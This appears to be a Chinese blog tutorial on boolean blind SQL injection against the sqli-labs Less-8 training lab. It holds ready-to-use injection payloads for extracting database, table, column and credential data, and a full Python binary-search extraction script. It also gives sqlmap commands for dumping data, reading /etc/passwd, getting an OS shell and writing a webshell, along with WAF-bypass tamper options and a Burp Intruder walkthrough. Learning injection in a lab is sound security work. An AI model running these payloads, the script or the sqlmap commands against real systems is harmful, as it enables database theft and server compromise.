2026-07-09
Mysql注入
00
请注意,本文编写于 128 天前,最后修改于 120 天前,其中某些信息可能已经过时。

目录

一、源码逐行分析
二、Less-8 vs Less-5 核心对比
三、布尔盲注核心函数详解
3.1 length() —— 猜长度
3.2 substr() —— 截取字符
3.3 ascii() —— 转 ASCII 码
3.4 mid() —— substr 的别名
3.5 left() / right() —— 取左右子串
四、布尔盲注完整流程(Less-8)
4.1 确认注入点
4.2 猜数据库名长度
4.3 逐位猜数据库名
4.4 爆表名
4.5 爆字段、爆数据(逻辑一样)
五、常用 Payload 模板速查
六、二分法优化(减少请求次数)
七、Python 自动化脚本
八、Less-8 通关流程图
九、使用sqlmap
最基础用法(一条命令搞定)
常用参数速查
场景示例
场景1:GET 注入(Less-1)
场景2:POST 注入(Less-11 登录框)
场景3:带 Cookie 的注入
场景4:盲注加速(Less-8)
WAF 绕过 —— Tamper 脚本
sqlmap 跑 Less-8(布尔盲注)演示
十、记忆口诀
附:完整 ASCII 对照表
一、控制字符(0-31 和 127)—— 盲注中基本用不到
二、可打印字符(32-126)—— 盲注核心范围
2.1 空格和标点符号
2.2 数字(48-57)
2.3 大写字母(65-90)
2.4 小写字母(97-122)
三、盲注中最常用字符速查
四、常用字符串的 ASCII 拆解
五、盲注 Payload 中常见判断
六、记忆技巧
附:Python 脚本逐行详解
函数一:check() —— 判断页面真假
函数二:get_length() —— 二分法猜长度
拆解
二分法执行过程(以数据库名长度=8 为例)
函数三:get_string() —— 二分法逐位猜字符
拆解
执行过程(以数据库名 security 为例)
主程序
整体流程图
附:Burp Suite 操作教程
一、基础配置
1.1 启动 Burp,设置代理
1.2 关闭拦截(先抓包再分析)
二、用 Intruder 做布尔盲注
步骤1:抓一个请求
步骤2:设置攻击位置
步骤3:设置 Payload
Payload 1(位置)
Payload 2(ASCII 值)
步骤4:设置匹配规则
步骤5:开始攻击
三、Burp vs Python 对比
四、Burp + Python 配合技巧
用 Burp 调试 Python 脚本

布尔盲注场景、原理、常见操作,sqlmap常见命令,py脚本撰写,最后附上ASCII码表,python代码讲解,bp如何操作

一、源码逐行分析

php
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0);

第1-3行:引入数据库连接,关闭 PHP 错误报告。

php
if(isset($_GET['id'])) { $id=$_GET['id'];

第5-7行:从 URL 获取 id 参数,没有任何过滤,直接赋值给 $id。

php
$fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);

第9-11行:日志记录,和注入无关。

php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第14行:核心漏洞! $id 被单引号包裹,直接拼进 SQL,字符型注入。

php
$result=mysql_query($sql); $row = mysql_fetch_array($result);

第15-16行:执行查询,获取结果。

php
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; }

第18-23行:查到数据时,只显示 You are in...........,不显示具体内容。

php
else { echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

第25-34行:关键!查不到数据时,什么都不显示!

注意这几行被注释掉了:

  • //echo 'You are in...........';
  • //print_r(mysql_error()); ← 报错信息被注释掉了!
  • //echo "You have an error in your SQL syntax";

这就是为什么 Less-8 必须用布尔盲注的核心原因:

条件页面显示
查询成功(有数据)You are in...........
查询失败(无数据)空白/什么都没有

没有报错信息、没有具体数据,只有"有"和"无"两种状态 → 布尔盲注的典型场景。


二、Less-8 vs Less-5 核心对比

对比项Less-5Less-8
标题Double Query - Single Quotes - StringBlind - Boolian - Single Quotes - String
查到数据You are in...........You are in...........
查不到数据显示 mysql_error() 报错信息什么都不显示
能否用报错注入✅ 可以(updatexml/floor)❌ 不行,没有报错信息
能否用联合查询❌ 没有回显位❌ 没有回显位
只能用报错注入布尔盲注 / 时间盲注

Less-5 有报错信息 → 用报错注入最快。Less-8 连报错都没有 → 只能用盲注。


三、布尔盲注核心函数详解

3.1 length() —— 猜长度

sql
length(string)

作用:返回字符串的长度。

示例:

sql
select length('security'); -- 返回 8 select length(database()); -- 返回当前数据库名的长度

在盲注中的用法:

sql
?id=1' and length(database())=8 --+ ?id=1' and length(database())<8 --+
  • 如果数据库名长度确实是或者小于8 → 查询成功 → 显示 You are in...
  • 如果不是 8 → 查询失败 → 页面空白

3.2 substr() —— 截取字符

sql
substr(string, position, length)
参数含义
string要截取的字符串
position起始位置(从1开始)
length截取长度

示例:

sql
substr('security', 1, 1) -- 's' (第1位,取1个) substr('security', 2, 1) -- 'e' (第2位,取1个) substr('security', 1, 3) -- 'sec'(第1位,取3个)

在盲注中的用法:

sql
?id=1' and substr(database(), 1, 1)='s' --+
  • 如果数据库名第1位是 s → 显示 You are in...
  • 如果不是 → 页面空白

3.3 ascii() —— 转 ASCII 码

sql
ascii(character)

作用:返回字符的 ASCII 码(数字)。

示例:

sql
ascii('s') -- 115 ascii('e') -- 101 ascii('c') -- 99

为什么要用 ascii()?

因为直接用 substr(...)= 's' 比较字符,在某些场景下可能有问题(比如引号被过滤)。用 ascii() 转成数字比较更稳定:

sql
?id=1' and ascii(substr(database(),1,1))=115 --+

等价于判断第1位是不是 s(因为 ascii('s')=115)。


3.4 mid() —— substr 的别名

sql
mid(string, position, length)

和 substr() 完全一样,只是名字不同。

sql
mid('security', 1, 1) -- 's'

3.5 left() / right() —— 取左右子串

sql
left('security', 3) -- 'sec' right('security', 3) -- 'ity'

盲注中偶尔用到,但不如 substr() 灵活。


四、布尔盲注完整流程(Less-8)

4.1 确认注入点

sql
?id=1' --+ → You are in...(正常) ?id=1" --+ → 空白(不是双引号) ?id=1' and '1'='1 --+ → You are in...(真) ?id=1' and '1'='2 --+ → 空白(假)

结论:字符型单引号闭合,布尔盲注可行。


4.2 猜数据库名长度

可以先通过大于号小于号判断下一个大致的长度,比如我先判断是不是<多少

sql
?id=1 and length(database())<9 --+

图片.png

或者直接脚本或bp爆破例举

sql
?id=1' and length(database())=1 --+ → 空白 ?id=1' and length(database())=2 --+ → 空白 ?id=1' and length(database())=3 --+ → 空白 ?id=1' and length(database())=4 --+ → 空白 ?id=1' and length(database())=5 --+ → 空白 ?id=1' and length(database())=6 --+ → 空白 ?id=1' and length(database())=7 --+ → 空白 ?id=1' and length(database())=8 --+ → You are in... ✅

结论:数据库名长度 = 8


4.3 逐位猜数据库名

第1位:

sql
?id=1' and ascii(substr(database(),1,1))>100 --+ → You are in...(>100) ?id=1' and ascii(substr(database(),1,1))>110 --+ → You are in...(>110) ?id=1' and ascii(substr(database(),1,1))>115 --+ → 空白(≤115) ?id=1' and ascii(substr(database(),1,1))=115 --+ → You are in... ✅

图片.png ASCII 115 = s

第2位:

sql
?id=1' and ascii(substr(database(),2,1))=101 --+ → You are in... ✅

ASCII 101 = e

第3位:

sql
?id=1' and ascii(substr(database(),3,1))=99 --+ → You are in... ✅

ASCII 99 = c

...以此类推:

位ASCII字符
1115s
2101e
399c
4117u
5114r
6105i
7116t
8121y

数据库名 = security


4.4 爆表名

先猜表名总长度:

sql
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=30 --+

逐位猜表名:

sql
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101 --+

4.5 爆字段、爆数据(逻辑一样)

sql
-- 猜字段名 ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=105 --+ -- 猜数据 ?id=1' and ascii(substr((select group_concat(username,':',password) from users),1,1))=68 --+

五、常用 Payload 模板速查

目标Payload
猜库名长度?id=1' and length(database())=N --+
猜库名第 i 位?id=1' and ascii(substr(database(),i,1))=N --+
猜表数量?id=1' and (select count(*) from information_schema.tables where table_schema='security')=N --+
猜第 n 个表长度?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit n,1))=N --+
猜所有表名总长度?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=N --+
猜字段数量?id=1' and (select count(*) from information_schema.columns where table_name='users')=N --+
猜数据条数?id=1' and (select count(*) from users)=N --+

六、二分法优化(减少请求次数)

上面的逐个试太慢了,用二分法:

sql
-- 猜第1位,范围 32-127 ?id=1' and ascii(substr(database(),1,1))>80 --+ → You are in...(>80) ?id=1' and ascii(substr(database(),1,1))>110 --+ → You are in...(>110) ?id=1' and ascii(substr(database(),1,1))>120 --+ → 空白(≤120) ?id=1' and ascii(substr(database(),1,1))>115 --+ → 空白(≤115) ?id=1' and ascii(substr(database(),1,1))=115 --+ → You are in... ✅

二分法平均只需要 7 次请求/字符,比逐个试(平均 64 次)快 9 倍。


七、Python 自动化脚本

python
import requests url = "http://localhost/sqli-labs-master/Less-8/" def check(payload): """发送请求,返回 True/False""" r = requests.get(url + payload) return "You are in" in r.text def get_length(query): """二分法猜长度""" low, high = 1, 100 while low < high: mid = (low + high) // 2 payload = f"?id=1' and length(({query}))>{mid}--+" if check(payload): low = mid + 1 else: high = mid print(f"长度: {low}") return low def get_string(query, length): """二分法逐位猜字符串""" result = "" for i in range(1, length + 1): low, high = 32, 127 while low < high: mid = (low + high) // 2 payload = f"?id=1' and ascii(substr(({query}),{i},1))>{mid}--+" if check(payload): low = mid + 1 else: high = mid result += chr(low) print(f"第{i}位: {chr(low)}") return result # 主程序 if __name__ == "__main__": # 猜库名 print("=== 猜数据库名 ===") db_query = "select database()" db_len = get_length(db_query) db_name = get_string(db_query, db_len) print(f"数据库名: {db_name}\n") # 猜表名 print("=== 猜表名 ===") table_query = "select group_concat(table_name) from information_schema.tables where table_schema='security'" table_len = get_length(table_query) table_name = get_string(table_query, table_len) print(f"表名: {table_name}")

八、Less-8 通关流程图

确认注入点 ↓ ?id=1' and '1'='1 --+ → You are in...(真) ?id=1' and '1'='2 --+ → 空白(假) ↓ 猜数据库名长度 ↓ length(database())=8 ↓ 逐位猜数据库名(8位) ↓ s-e-c-u-r-i-t-y ↓ 猜表名、字段、数据(逻辑相同) ↓ 完成

九、使用sqlmap

这里使用sqlmap完全可以跑出来

图片.png

图片.png

最基础用法(一条命令搞定)

bash
# 检测注入点 sqlmap -u "http://localhost/sqli-labs-master/Less-1/?id=1" # 爆数据库名 sqlmap -u "http://localhost/sqli-labs-master/Less-1/?id=1" --dbs # 爆指定库的表名 sqlmap -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security --tables # 爆指定表的字段 sqlmap -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security -T users --columns # 爆数据 sqlmap -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump

常用参数速查

参数作用示例
-u "URL"指定目标 URL-u "http://target.com/page.php?id=1"
--dbs列出所有数据库sqlmap -u "..." --dbs
-D 库名指定数据库-D security
--tables列出表名-D security --tables
-T 表名指定表-T users
--columns列出字段-T users --columns
-C 字段指定字段-C username,password
--dump导出数据-C username,password --dump
--dump-all导出所有数据--dump-all
--batch自动选择默认选项(不用交互)--batch
--threads=10多线程加速--threads=10
--level=3检测等级(1-5,越高越全)--level=3
--risk=2风险等级(1-3,越高越危险)--risk=2
--cookie="..."带 Cookie 注入--cookie="PHPSESSID=xxx"
--data="..."POST 数据注入--data="id=1&name=test"
-p "id"指定参数-p "id"
--dbms=mysql指定数据库类型--dbms=mysql
--os-shell获取系统 shell(需要权限)--os-shell
--sql-shell获取 SQL shell--sql-shell
--file-read="/etc/passwd"读文件--file-read="/etc/passwd"
--file-write="shell.php" --file-dest="/var/www/shell.php"写文件写 webshell

场景示例

场景1:GET 注入(Less-1)

bash
# 全自动一条龙 sqlmap -u "http://localhost/sqli-labs-master/Less-1/?id=1" --batch --dump

场景2:POST 注入(Less-11 登录框)

bash
sqlmap -u "http://localhost/sqli-labs-master/Less-11/" \ --data="uname=admin&passwd=admin&submit=Submit" \ --batch --dump
bash
sqlmap -u "http://target.com/profile.php?id=1" \ --cookie="PHPSESSID=abc123; auth=xyz789" \ --batch --dump

场景4:盲注加速(Less-8)

bash
sqlmap -u "http://localhost/sqli-labs-master/Less-8/?id=1" \ --batch --threads=10 --level=5 --dump

WAF 绕过 —— Tamper 脚本

sqlmap 自带了很多绕过脚本:

bash
# 查看所有 tamper 脚本 sqlmap --list-tampers # 常用组合 sqlmap -u "http://target.com/?id=1" --tamper="space2comment,charencode" --batch
Tamper 脚本作用
space2comment空格转 /**/
charencodeURL 编码
base64encodeBase64 编码
between> 转 BETWEEN
randomcase随机大小写
multiplespaces多个空格
apostrophemask单引号转 Unicode

sqlmap 跑 Less-8(布尔盲注)演示

bash
# 1. 检测注入点 sqlmap -u "http://localhost/sqli-labs-master/Less-8/?id=1" --batch # 输出: # [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' # [INFO] GET parameter 'id' is vulnerable # 2. 爆库名 sqlmap -u "http://localhost/sqli-labs-master/Less-8/?id=1" --batch --dbs # 3. 爆数据 sqlmap -u "http://localhost/sqli-labs-master/Less-8/?id=1" --batch -D security -T users -C username,password --dump

十、记忆口诀

Less-8 没报错,布尔盲注来搞 length 先猜长,substr 再逐位咬 ascii 转数字,二分法来跑 You are in 是真,空白页面是假 手工理解原理,脚本实战高效


附:完整 ASCII 对照表

一、控制字符(0-31 和 127)—— 盲注中基本用不到

十进制字符说明
0NUL空字符
1-31控制字符(不可打印)
32SP空格
127DEL删除

二、可打印字符(32-126)—— 盲注核心范围

2.1 空格和标点符号

十进制字符十进制字符十进制字符
32 (空格)58:92\
33!59;93]
34"60<94^
35#61=95_
36$62>96`
37%63?123{
38&64@124`
39'91[125}
40(44,126~
41)45-
42*46.
43+47/

2.2 数字(48-57)

十进制字符十进制字符十进制字符
480524568
491535579
502546
513557

2.3 大写字母(65-90)

十进制字符十进制字符十进制字符
65A74J83S
66B75K84T
67C76L85U
68D77M86V
69E78N87W
70F79O88X
71G80P89Y
72H81Q90Z
73I82R

2.4 小写字母(97-122)

十进制字符十进制字符十进制字符
97a106j115s
98b107k116t
99c108l117u
100d109m118v
101e110n119w
102f111o120x
103g112p121y
104h113q122z
105i114r

三、盲注中最常用字符速查

字符ASCII说明
,44group_concat 的分隔符
-45连字符
.46表名.字段名
0-948-57数字
:58分隔用户名和密码
_95下划线(表名/字段名常用)
a-z97-122小写字母
A-Z65-90大写字母

四、常用字符串的 ASCII 拆解

字符串逐位 ASCII
security115, 101, 99, 117, 114, 105, 116, 121
users117, 115, 101, 114, 115
emails101, 109, 97, 105, 108, 115
referers114, 101, 102, 101, 114, 101, 114, 115
uagents117, 97, 103, 101, 110, 116, 115
username117, 115, 101, 114, 110, 97, 109, 101
password112, 97, 115, 115, 119, 111, 114, 100
id105, 100
Dumb68, 117, 109, 98
Angelina65, 110, 103, 101, 108, 105, 110, 97

五、盲注 Payload 中常见判断

sql
-- 判断是不是小写字母 ?id=1' and ascii(substr(...,1,1))>96 --+ -- > 'a' ?id=1' and ascii(substr(...,1,1))<123 --+ -- < '{' -- 判断是不是大写字母 ?id=1' and ascii(substr(...,1,1))>64 --+ -- > '@' ?id=1' and ascii(...,1,1))<91 --+ -- < '[' -- 判断是不是数字 ?id=1' and ascii(substr(...,1,1))>47 --+ -- > '/' ?id=1' and ascii(substr(...,1,1))<58 --+ -- < ':' -- 判断是不是下划线 ?id=1' and ascii(substr(...,1,1))=95 --+ -- = '_'

六、记忆技巧

小写 a-z:97-122 大写 A-Z:65-90 数字 0-9:48-57 空格:32 下划线 _:95 逗号 ,:44 冒号 ::58


附:Python 脚本逐行详解

python
import requests

导入 requests 库:用来发送 HTTP 请求,模拟浏览器访问网页。

python
url = "http://localhost/sqli-labs-master/Less-8/"

定义目标 URL:Less-8 的地址,后面所有请求都发到这里。


函数一:check() —— 判断页面真假

python
def check(payload): #发送请求,返回 True/False r = requests.get(url + payload) return "You are in" in r.text
代码作用
requests.get(url + payload)把 payload 拼到 URL 后面,发送 GET 请求
r.text获取服务器返回的 HTML 内容
"You are in" in r.text判断页面里有没有 You are in 这个字符串
return ...有 → 返回 True(真);没有 → 返回 False(假)

这就是布尔盲注的核心:页面只有两种状态,脚本自动判断。


函数二:get_length() —— 二分法猜长度

python
def get_length(query): #二分法猜长度 low, high = 1, 100 while low < high: mid = (low + high) // 2 payload = f"?id=1' and length(({query}))>{mid}--+" if check(payload): low = mid + 1 else: high = mid print(f"长度: {low}") return low

拆解

变量含义
low = 1, high = 100猜测范围:长度在 1 到 100 之间
mid = (low + high) // 2取中间值,二分法的核心
f"?id=1' and length(({query}))>{mid}--+"构造 Payload,判断长度是否 > mid

二分法执行过程(以数据库名长度=8 为例)

轮次lowhighmidPayload页面结果操作
1110050length>50假high = 50
215025length>25假high = 25
312513length>13假high = 13
41137length>7真low = 8
581310length>10假high = 10
68109length>9假high = 9
7898length>8假high = 8
结束88---返回 8

7 次请求就定位到长度,比逐个试(试 8 次)更高效,范围越大优势越明显。


函数三:get_string() —— 二分法逐位猜字符

python
def get_string(query, length): #二分法逐位猜字符串 result = "" for i in range(1, length + 1): low, high = 32, 127 while low < high: mid = (low + high) // 2 payload = f"?id=1' and ascii(substr(({query}),{i},1))>{mid}--+" if check(payload): low = mid + 1 else: high = mid result += chr(low) print(f"第{i}位: {chr(low)}") return result

拆解

代码含义
for i in range(1, length + 1)循环每一位,从第 1 位到第 length 位
low, high = 32, 127ASCII 可打印字符范围
substr(({query}),{i},1)取第 i 位,取 1 个字符
ascii(...)转成 ASCII 数字
>{mid}二分法判断
chr(low)把 ASCII 数字转回字符
result += chr(low)拼接到结果里

执行过程(以数据库名 security 为例)

猜第 1 位:

轮次lowhighmid判断结果
13212779ascii(substr(...,1,1))>79真(s=115>79)
280127103>103真(115>103)
3104127115>115假(115>115 不成立)
4104115109>109真(115>109)
5110115112>112真(115>112)
6113115114>114真(115>114)
7115115--返回 115 = s

7 次请求定位一个字符。


主程序

python
if __name__ == "__main__":

程序入口:只有直接运行这个文件时才执行,被导入时不执行。

python
# 猜库名 print("=== 猜数据库名 ===") db_query = "select database()" db_len = get_length(db_query) # 先猜长度 db_name = get_string(db_query, db_len) # 再逐位猜内容 print(f"数据库名: {db_name}\n")
步骤调用函数作用
get_length(db_query)猜长度数据库名长度 = 8
get_string(db_query, 8)猜 8 位字符s-e-c-u-r-i-t-y
python
# 猜表名 print("=== 猜表名 ===") table_query = "select group_concat(table_name) from information_schema.tables where table_schema='security'" table_len = get_length(table_query) table_name = get_string(table_query, table_len) print(f"表名: {table_name}")

表名查询:从 information_schema.tables 查 security 库的所有表名,用 group_concat 连成一串。


整体流程图

开始 ↓ get_length("select database()") → 返回 8 ↓ get_string("select database()", 8) ├── 猜第1位: 二分法 → 's' ├── 猜第2位: 二分法 → 'e' ├── 猜第3位: 二分法 → 'c' ├── ... └── 猜第8位: 二分法 → 'y' ↓ 返回 "security" ↓ 继续猜表名、字段、数据...

附:Burp Suite 操作教程

一、基础配置

1.1 启动 Burp,设置代理

Burp Suite → Proxy → Options → Add → 127.0.0.1:8080

浏览器安装 FoxProxy 或 SwitchyOmega,指向 127.0.0.1:8080。

1.2 关闭拦截(先抓包再分析)

Proxy → Intercept → Intercept is off

二、用 Intruder 做布尔盲注

步骤1:抓一个请求

浏览器访问:

http://localhost/sqli-labs-master/Less-8/?id=1' and '1'='1 --+

Burp 的 HTTP history 里找到这个请求 → 右键 → Send to Intruder


步骤2:设置攻击位置

Intruder → Positions

点击 Clear §,然后选中要变的地方,点击 Add §。

示例 Payload:

?id=1' and ascii(substr(database(),§1§,1))=§115§ --+

设置两个变量:

  • §1§ → 位置(1, 2, 3, 4, 5, 6, 7, 8)
  • §115§ → ASCII 值(32-127)

步骤3:设置 Payload

Payload 1(位置)

Payload type: Numbers From: 1 To: 8 Step: 1

Payload 2(ASCII 值)

Payload type: Numbers From: 32 To: 127 Step: 1

Attack type: Cluster bomb(两个变量组合遍历)


步骤4:设置匹配规则

Intruder → Options → Grep - Match → Add

输入:

You are in

步骤5:开始攻击

点击 Start attack

结果表格里,勾选了 You are in 的行就是匹配成功的。

从 Payload1 和 Payload2 的值就能拼出数据库名:

  • Payload1=1, Payload2=115 → 第1位是 s
  • Payload1=2, Payload2=101 → 第2位是 e
  • ...

三、Burp vs Python 对比

对比项Burp IntruderPython 脚本
上手难度简单,图形化需要会编程
速度单线程,慢多线程,快
灵活性固定模式任意逻辑
结果处理手动看表格自动输出
适用场景快速测试、少量数据大量数据、自动化
免费版限制限速,很慢无限制

四、Burp + Python 配合技巧

用 Burp 调试 Python 脚本

python
import requests proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } # 所有请求经过 Burp,方便查看 r = requests.get(url + payload, proxies=proxies)

运行脚本时,Burp 的 HTTP history 里能看到每一个请求,方便调试 Payload 是否正确。